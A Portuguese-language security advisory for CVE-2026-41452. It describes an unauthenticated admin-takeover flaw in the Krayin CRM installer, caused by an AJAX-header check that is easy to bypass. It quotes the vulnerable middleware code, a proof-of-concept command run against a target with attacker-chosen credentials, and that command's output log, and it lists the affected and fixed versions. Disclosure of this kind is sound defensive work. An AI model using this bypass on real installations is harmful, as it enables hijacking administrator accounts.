
CVE-2026-41452 — bypass do instalador não autenticado do Krayin CRM (X-Requested-With) → tomada de controle de administrador. Verificado: sobrescrita + login na 2.2.4, bloqueado na 2.2.5
CVSS 9.8 (Crítico) · CWE-287 / CWE-306 · Writeup da Jiva · VulnCheck
O instalador do Krayin CRM expõe POST /install/api/admin-config-setup (além de run-migration, run-seeder) sem proteção CSRF (grupo withoutMiddleware('web')). O middleware global CanInstall só bloqueia a rota para requisições não AJAX:
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard');
}
O envio de X-Requested-With: XMLHttpRequest ignora completamente a verificação. O controller então executa updateOrInsert no administrador primário embutido no código (ID do usuário=1) com nome/email/senha fornecidos pelo atacante (role_id=1, status=1) → assunção total de administrador sem autenticação em uma instância já instalada.
Versões afetadas: ≤ 2.2.0 e 2.2.4 (regressão). Corrigido: 2.2.1 (e4eb96f5), regressão em 2.2.4 (6a7bc4cc), corrigido novamente em 2.2.5 (ea4919a8). master ainda estava vulnerável no momento da pesquisa.
python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'
Cadeia:
X-Requested-With: XMLHttpRequest → HTTP 200 1 → admin (id=1) sobrescrito/admin/login com as novas credenciais → redirecionamento para /admin/dashboard[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall) [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard) [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===
Comparação com a build corrigida: com os arquivos da v2.2.5, o mesmo POST AJAX → HTTP 403 (bloqueado).
Qualquer instalação do Krayin CRM acessível publicamente (v2.2.4 ou ≤2.2.0) pode ser totalmente assumida por um atacante não autenticado em uma única requisição. Sem CSRF, sem credenciais, sem interação necessária.
ea4919a8 (v2.2.5) · Regressão: 6a7bc4cc (v2.2.4) · Primeira correção: e4eb96f5 (v2.2.1)